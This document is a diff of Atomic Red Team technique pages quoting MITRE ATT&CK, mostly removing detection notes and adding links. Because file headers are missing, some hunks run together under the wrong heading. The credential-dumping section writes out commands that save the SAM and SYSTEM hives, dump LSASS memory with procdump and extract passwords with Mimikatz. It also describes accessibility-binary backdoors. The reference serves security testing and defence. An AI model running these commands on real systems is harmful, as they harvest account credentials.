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 # T1002 - Data Compressed
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1002)
-<blockquote>An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
-
-Detection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.
-
-If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
-
-Requires Network: No</blockquote>
+<blockquote>An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.</blockquote>

 ## Atomic Tests

@@ -4,17 +4,21 @@

 Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

-===SAM (Security Accounts Manager)===
+### Windows

-The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command.  To enumerate the SAM database, system level access is required.
+#### SAM (Security Accounts Manager)
+
+The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.
  
 A number of tools can be used to retrieve the SAM file through in-memory techniques:
+
 * pwdumpx.exe 
-* gsecdump
-* Mimikatz
+* [gsecdump](https://attack.mitre.org/software/S0008)
+* [Mimikatz](https://attack.mitre.org/software/S0002)
 * secretsdump.py

-Alternatively, the SAM can be extracted from the Registry with Reg:
+Alternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):
+
 * <code>reg save HKLM\sam sam</code>
 * <code>reg save HKLM\system system</code>

@@ -25,30 +29,32 @@ Rid 500 account is the local, in-built administrator.
 Rid 501 is the guest account.
 User accounts start with a RID of 1,000+.

-===Cached Credentials===
+#### Cached Credentials

-The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable.  The number of default cached credentials varies, and this number can be altered per system.  This hash does not allow pass-the-hash style attacks.
+The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.
  
 A number of tools can be used to retrieve the SAM file through in-memory techniques.
+
 * pwdumpx.exe 
-* gsecdump
-* Mimikatz
+* [gsecdump](https://attack.mitre.org/software/S0008)
+* [Mimikatz](https://attack.mitre.org/software/S0002)

 Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

 Notes:
 Cached credentials for Windows Vista are derived using PBKDF2.

-===Local Security Authority (LSA) Secrets===
+#### Local Security Authority (LSA) Secrets

 With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.
  
 When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.
  
 A number of tools can be used to retrieve the SAM file through in-memory techniques.
+
 * pwdumpx.exe 
-* gsecdump
-* Mimikatz
+* [gsecdump](https://attack.mitre.org/software/S0008)
+* [Mimikatz](https://attack.mitre.org/software/S0002)
 * secretsdump.py

 Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.
@@ -57,85 +63,74 @@ Notes:
 The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.
 Windows 10 adds protections for LSA Secrets described in Mitigation.

-===NTDS from Domain Controller===
+#### NTDS from Domain Controller

 Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)
 
 The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
- 
+
 * Volume Shadow Copy
 * secretsdump.py
 * Using the in-built Windows tool, ntdsutil.exe
 * Invoke-NinjaCopy

-===Group Policy Preference (GPP) Files===
+#### Group Policy Preference (GPP) Files

 Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.
- 
+
 These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)
- 
+
 The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:
- 
+
 * Metasploit’s post exploitation module: "post/windows/gather/credentials/gpp"
 * Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)
 * gpprefdecrypt.py
- 
+
 Notes:
 On the SYSVOL share, the following can be used to enumerate potential XML files.
-dir /s *.xml
+dir /s * .xml

-===Service Principle Names (SPNs)===
+#### Service Principal Names (SPNs)

-See Kerberoasting.
+See [Kerberoasting](https://attack.mitre.org/techniques/T1208).

-===Plaintext Credentials===
+#### Plaintext Credentials

 After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.
- 
+
 SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.

 The following SSPs can be used to access credentials:
- 
+
 Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
 Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)
 Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
 CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)
  
 The following tools can be used to enumerate credentials:
- 
-* Windows Credential Editor
-* Mimikatz
- 
+
+* [Windows Credential Editor](https://attack.mitre.org/software/S0005)
+* [Mimikatz](https://attack.mitre.org/software/S0002)
+
 As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
- 
+
 For example, on the target host use procdump:
 * <code>procdump -ma lsass.exe lsass_dump</code>
- 
+
 Locally, mimikatz can be run:
+
 * <code>sekurlsa::Minidump lsassdump.dmp</code>
 * <code>sekurlsa::logonPasswords</code>

-===DCSync=== 
+#### DCSync

-DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller.  Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data  (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)
+DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)

-Detection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.
+### Linux

-Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. 
+#### Proc filesystem

-On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
-
-Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
-
-Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
-
-Platforms: Windows
-
-Data Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs
-
-Permissions Required: Administrator, SYSTEM
-
-Contributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs</blockquote>
+The /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1007 - System Service Discovery
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1007)
-<blockquote>Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Windows
-
-Data Sources: Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator, SYSTEM</blockquote>
+<blockquote>Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well.</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1009 - Binary Padding
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1009)
-<blockquote>Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
-
-Detection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. 
-
-When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.
-
-Platforms: Linux, macOS, Windows
-
-Defense Bypassed: Anti-virus, Signature-based detection</blockquote>
+<blockquote>Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.</blockquote>

 ## Atomic Tests

@@ -2,17 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1012)
 <blockquote>Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

-The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Interaction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, Process monitoring, Process command-line parameters
-
-Permissions Required: User, Administrator, SYSTEM</blockquote>
+The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.</blockquote>

 ## Atomic Tests

@@ -1,18 +1,8 @@
 # T1014 - Rootkit
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1014)
-<blockquote>Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)
+<blockquote>Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)

-Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)
-
-Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: BIOS, MBR, System calls
-
-Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path
-
-Permissions Required: Administrator, SYSTEM, root</blockquote>
+Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)</blockquote>

 ## Atomic Tests

@@ -6,29 +6,17 @@ Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>

 Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

-For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
+For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

 For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

 Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

-*On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
-*Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
-*Narrator: <code>C:\Windows\System32\Narrator.exe</code>
-*Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
-*App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
-
-Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</code>.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, File monitoring, Process monitoring
-
-Effective Permissions: SYSTEM
-
-Permissions Required: Administrator
-
-Contributors: Paul Speulstra, AECOM Global Security Operations Center</blockquote>
+* On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
+* Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
+* Narrator: <code>C:\Windows\System32\Narrator.exe</code>
+* Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
+* App Switcher: <code>C:\Windows\System32\AtBroker.exe</code></blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1016 - System Network Configuration Discovery
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1016)
-<blockquote>Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Process command-line parameters, Process monitoring
-
-Permissions Required: User</blockquote>
+<blockquote>Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).</blockquote>

 ## Atomic Tests

@@ -2,27 +2,17 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1018)
 <blockquote>Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. 

-===Windows===
+### Windows

-Examples of tools and commands that acquire this information include "ping" or "net view" using Net.
+Examples of tools and commands that acquire this information include "ping" or "net view" using [Net](https://attack.mitre.org/software/S0039).

-===Mac===
+### Mac

 Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems.

-===Linux===
+### Linux

-Utilities such as "ping" and others can be used to gather information about remote systems.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
-
-Permissions Required: User, Administrator, SYSTEM</blockquote>
+Utilities such as "ping" and others can be used to gather information about remote systems.</blockquote>

 ## Atomic Tests

@@ -2,19 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1022)
 <blockquote>Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

-Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol
-
-Detection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. 
-
-A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. 
-
-Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
-
-Requires Network: No</blockquote>
+Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)</blockquote>

 ## Atomic Tests

@@ -2,27 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1027)
 <blockquote>Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

-Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
+Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

 Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

-Adversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)
+Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)

-Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)
-
-Detection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).
-
-Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)
-
-Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection
-
-Defense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path
-
-Contributors: Red Canary, Christiaan Beek, @ChristiaanBeek</blockquote>
+Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)</blockquote>

 ## Atomic Tests

@@ -1,18 +1,6 @@
 # T1028 - Windows Remote Management
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1028)
-<blockquote>Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)
-
-Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.
-
-Platforms: Windows
-
-Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator
-
-System Requirements: WinRM listener turned on and configured on remote system
-
-Remote Support: Yes</blockquote>
+<blockquote>Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1030 - Data Transfer Size Limits
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1030)
-<blockquote>An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
-
-Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring
-
-Requires Network: Yes</blockquote>
+<blockquote>An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.</blockquote>

 ## Atomic Tests

@@ -1,26 +1,10 @@
 # T1031 - Modify Existing Service
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1031)
-<blockquote>Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.
